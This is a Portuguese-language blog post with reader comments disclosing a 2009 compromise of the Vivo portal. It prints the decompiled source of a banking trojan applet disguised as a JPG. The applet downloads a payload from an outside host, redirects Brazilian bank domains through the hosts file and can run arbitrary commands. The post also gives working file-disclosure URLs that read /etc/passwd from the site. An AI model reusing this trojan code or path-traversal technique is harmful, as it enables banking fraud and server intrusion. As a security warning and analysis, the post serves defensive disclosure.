Buenas! Volto do limbo para alertar aos usuários do portal da Vivo que falhas grotescas estão comprometendo a segurança dos visitantes.
Ontem, dia 08/09/2009, o portal foi comprometido e passou a infectar os computadores dos visitantes com um trojan.
Quem acessou o portal entre ontem e hoje deve evitar acessar sites bancários e verificar seu computador com um bom antivírus devidamente atualizado.
Detalhes abaixo:
Ao acessar a página principal uma mensagem solicitava que um applet fosse executado, este applet cria o arquivo “c:\NOSO072009BETA3ba.log” e tenta realizar as seguintes alterações no arquivo hosts:
69.162.114.180 santander.com.br 69.162.114.180 www.santander.com.br 69.162.114.181 itau.com.br 69.162.114.181 www.itau.com.br 69.162.114.181 www.itau.com 69.162.114.181 itau.com 69.162.114.181 itaupersonnalite.com.br 69.162.114.181 www.itaupersonnalite.com.br 69.162.114.182 www.bradesco.com.br 69.162.114.182 bradesco.com.br 69.162.114.182 www.bradesco.com 69.162.114.182 bradesco.com 69.162.114.182 www.bradescoempresa.com.br 69.162.114.182 bradescoempresa.com.br 69.162.114.182 www.bradescoprime.com.br 69.162.114.182 bradescoprime.com.br 69.162.114.182 bradescocartoes.com.br 69.162.114.182 www.bradescocartoes.com.br 69.162.114.179 www.nossacaixa.com.br 69.162.114.179 nossacaixa.com.br
Ao analizar o arquivo http://www.vivo.com.br/portal/home.php encontrei o seguinte código:
<applet name="Vivo Online - IMPORTANTE: (Para executar corretamente o Vivo Online clique em `Run´.)" code="laa.class" archive="http://www.vivo.com.br/portal/co/logo_top.jpg" height="0" width="0"><param name="Vivo Online" value=""></applet>
Reparem que é um arquivo JAR com extensão "jpg", para que o usuário comum acredite ser uma foto.
$ file logo_top.jpg: Zip archive data, at least v2.0 to extract
Vejam os fontes desse arquivo:
import java.applet.Applet;
import java.awt.Color;
import java.awt.Graphics;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;
public class laa extends Applet
{
public void paint(Graphics g)
{
g.setColor(Color.red);
g.drawString("...", 5, 10);
}
public void H32A(String URLexterna, String SalvarComo)
{
try
{
int i;
File files = new File(SalvarComo);
boolean exists = files.exists();
if (exists)
return;
URL url = new URL(URLexterna);
URLConnection connection = url.openConnection();
InputStream stream = connection.getInputStream();
BufferedInputStream in = new BufferedInputStream(stream);
FileOutputStream file = new FileOutputStream(SalvarComo);
BufferedOutputStream out = new BufferedOutputStream(file);
while ((i = in.read()) != -1)
out.write(i);
out.flush();
out.close();
}
catch (IOException localIOException)
{
}
}
public void H32C(String HostIP, String HostURL)
{
try {
File file = new File("\\WINDOWS\\system32\\drivers\\etc\\hosts");
FileWriter filewriter = new FileWriter(file, true);
filewriter.write(HostIP + " " + HostURL + System.getProperty
("line.separator"));
filewriter.close();
}
catch (Exception localException)
{
}
}
public void teste(String valor)
{
try {
Runtime.getRuntime().exec(valor);
}
catch (IOException localIOException)
{
}
}
public void merda1() {
try {
int i;
File files = new File("c:\\NOSO072009BETA3ba.log");
boolean exists = files.exists();
if (exists)
return;
URL url = new URL
("http://goos.io.usp.br/tikiwiki/img/wiki/dedi/mais.php");
URLConnection connection = url.openConnection();
InputStream stream = connection.getInputStream();
BufferedInputStream in = new BufferedInputStream(stream);
FileOutputStream file = new FileOutputStream
("c:\\NOSO072009BETA3ba.log");
BufferedOutputStream out = new BufferedOutputStream(file);
while ((i = in.read()) != -1)
out.write(i);
out.flush();
out.close();
H32C("", "");
H32C("69.162.114.180", "santander.com.br");
H32C("69.162.114.180", "www.santander.com.br");
H32C("69.162.114.181", "itau.com.br");
H32C("69.162.114.181", "www.itau.com.br");
H32C("69.162.114.181", "www.itau.com");
H32C("69.162.114.181", "itau.com");
H32C("69.162.114.181", "itaupersonnalite.com.br");
H32C("69.162.114.181", "www.itaupersonnalite.com.br");
H32C("69.162.114.182", "www.bradesco.com.br");
H32C("69.162.114.182", "bradesco.com.br");
H32C("69.162.114.182", "www.bradesco.com");
H32C("69.162.114.182", "bradesco.com");
H32C("69.162.114.182", "www.bradescoempresa.com.br");
H32C("69.162.114.182", "bradescoempresa.com.br");
H32C("69.162.114.182", "www.bradescoprime.com.br");
H32C("69.162.114.182", "bradescoprime.com.br");
H32C("69.162.114.182", "bradescocartoes.com.br");
H32C("69.162.114.182", "www.bradescocartoes.com.br");
H32C("69.162.114.179", "www.nossacaixa.com.br");
H32C("69.162.114.179", "nossacaixa.com.br");
}
catch (IOException localIOException)
{
}
}
public void init()
{
merda1();
}
}
Além desse problema seriíssimo existe outro que até o momento não foi corrigido que permite que qualquer arquivo do servidor seja aberto em qualquer browser. É só acessar as seguintes URLs para ter acesso aos logins, grupos e hosts do servidor, respectivamente:
http://www.vivo.com.br/roaminginternacional/popup.php?url=/etc/passwd
http://www.vivo.com.br/roaminginternacional/popup.php?url=/etc/group
http://www.vivo.com.br/roaminginternacional/popup.php?url=/etc/hosts
Para acessar qualquer outro arquivo basta substituir o conteúdo após o “url=” pelo arquivo que quiser.
Créditos a quem merece:
Recebi nos comentários a informação de que a descoberta do trojan foi feita por Miguel de Curcio Filho, que inclusive postou sobre o assunto em seu blog. Recomendo também a leitura de um outro post com análises bem interessantes no blog de Sandro Süffert.
Qualquer arquivos não. Eles não liberaram o /etc/shadow. hehehehhehe
Eles não utilizam Linux, portanto não existe o /etc/shadow.
Abrássss
Eles usam AIX e não existe o /etc/shadow, mas mesmo se existisse, o PHP não tem privilégios de root para ser executado. Portanto, não é possível ler todos os arquivos, apenas aqueles que todos tem permissão para ler, ou então o usuário nobody
Filipe, acredito que alguém deve ter feito um “chmod -R” nesse servidor ou o apache+php estavam rodando como superusuário pois todos os arquivos que eu tentei acessar foram exibidos.
Tenho alguns “prints” das telas aqui comigo que comprovam isso.
Esquisito, pois não abria o /etc/security/passwd quando tentei, que é o arquivo shadow do AIX. Abs, Filipe
Humm se não me engano eles usam Solaris, aí tem o /etc/passwd mesmo.
Soletrando: “Qualquer arquivos “;
Grotesto mesmo!
Parebéns, Rafael Santos!
Pingback: Tweets that mention Falhas grotescas no portal da Vivo – Insegurança total - RafaelSantos.com -- Topsy.com
Pingback: All’interno » Blog Archive » Falhas no site da Operadora VIVO, podem causar danos aos visitantes
Eles foram rapidos para sanar as falhas. As brechas, a principio, ja foram corrigidas.
Esse pessoal ta abusando mesmo. Falta de experiencia para se proteger nesse obscuro mundo cibernetico.
Te cuida Vivo.
O pior é a irresponsabilidade da Vivo, pois não há nenhum alerta no portal sobre o fato. Provavelmente vários clientes estão com seus computadores comprometidos e sequer desconfiam disso!
Pingback: Infectado, site da operadora Vivo ajuda a roubar senhas bancárias | Blog da UsStar
Pingback: TecNews: Noticias Tecnofagia
Pingback: Falha no site da vivo. | Slotheek
O site da rederecord.com.br estava com problema parecido, se ainda não estiver. De tempos e tempos sempre pede para executar um .jar de um domínio estranho. Normalmente aparecia quando você acessava a parte “VER GRADE COMPLETA”.
Foda do caraio, o bom é que a Vivo so quer ganhar clientes! Falta fala com o pai do Linux, assim ajuda mais e s solta a liberdade!
Rafael, pelo que se paga pelo serviço, o mínimo que se espera é que a operadora resolva esses problemas. Kd o comprador de tecnologia da Vivo nessa hora, que pagou por uma solução que não resolve?
O site estava infectado desde o dia 06/09, domingo, pelo menos, quando o acessei e recebi a mensagem pedindo pra executar o applet.
Evidentemente desconfiei e não executei.
Pingback: Blog do Márcio d’Ávila » Portal da Vivo teve segurança comprometida
Pingback: Infectado, site da operadora Vivo ajuda a roubar senhas bancárias « De tudo um pouco (da vida do Gustavo)..
Pingback: Infectado, site da operadora Vivo ajuda a roubar senhas bancárias « Jrholanda Barueri Blog
Quem conhece a Vivo sabe que isto acontece. Eles tem pouca consideracao pelo cliente. E a lei de protecao ao consumidor, onde esta nesta hora? Uma multa milionaria para esta operadora seria uma boa licao nos irresponsaveis incompetentes.
Rafael, parabéns pelo post – quem descobriu a falha foi o Miguel de Curcio Filho.
Postei sobre o assunto no meu blog, incluindo um link para a sua análise:
http://sseguranca.blogspot.com/2009/09/site-invadido-da-vivo-foi-utilizado.html
[ ]s
Sandro Suffert
Pingback: - Bem vindo!
parabéns cara
Pingback: Infectado, site da operadora Vivo ajuda a roubar senhas bancárias «
Pingback: BLOGlauco » Post Topic » Site da Vivo seriamente invadido
Parabéns pelo alerta! Muito bom mesmo, o post!
Pingback: Blog do Márcio d'Ávila » Portal da Vivo comprometido prolifera fraude
Olá, veja se podem me ajudar. Tenho um celular da Vivo e, de alguma forma, alguem conseguiu minhas informações pessoais, o que hoje em dia não é muito dificil, e tem acessado o Vivo On Line e obtido informações confidenciais da minha conta (tipo extrato de ligações e coisas assim). Cada atendimento da operadora é gerado um numero de protocolo e recebi um destes ontem (21/06) então liguei para a Vivo e quis saber do que se tratava. Fui informado que era referente a um acesso ao VOL (Vivo on line) e o protocolo gerado foi referente a isso. Mas não fiz nenhum acesso e questionei a atendente quanto a falta de segurança e se era possivel outra pessoa fazer este acesso, mas ela não soube me informar se isso é possivel visto que se minha senha de acesso for alterada eu receberia um SMS com a nova senha. Mas imagino que é possível, de algum jeito, que esta senha seja enviada para outro numero de celular ou e-mail sem que eu fique sabendo. E é exatamente isso que preciso saber. E se isso for possivel, o que devo fazer para me precaver??? Agradeço muito se puderem me ajudar.
Helio Pascoal
preciso do extrato de minhas ligações feitas e recebidas do meu celular vivo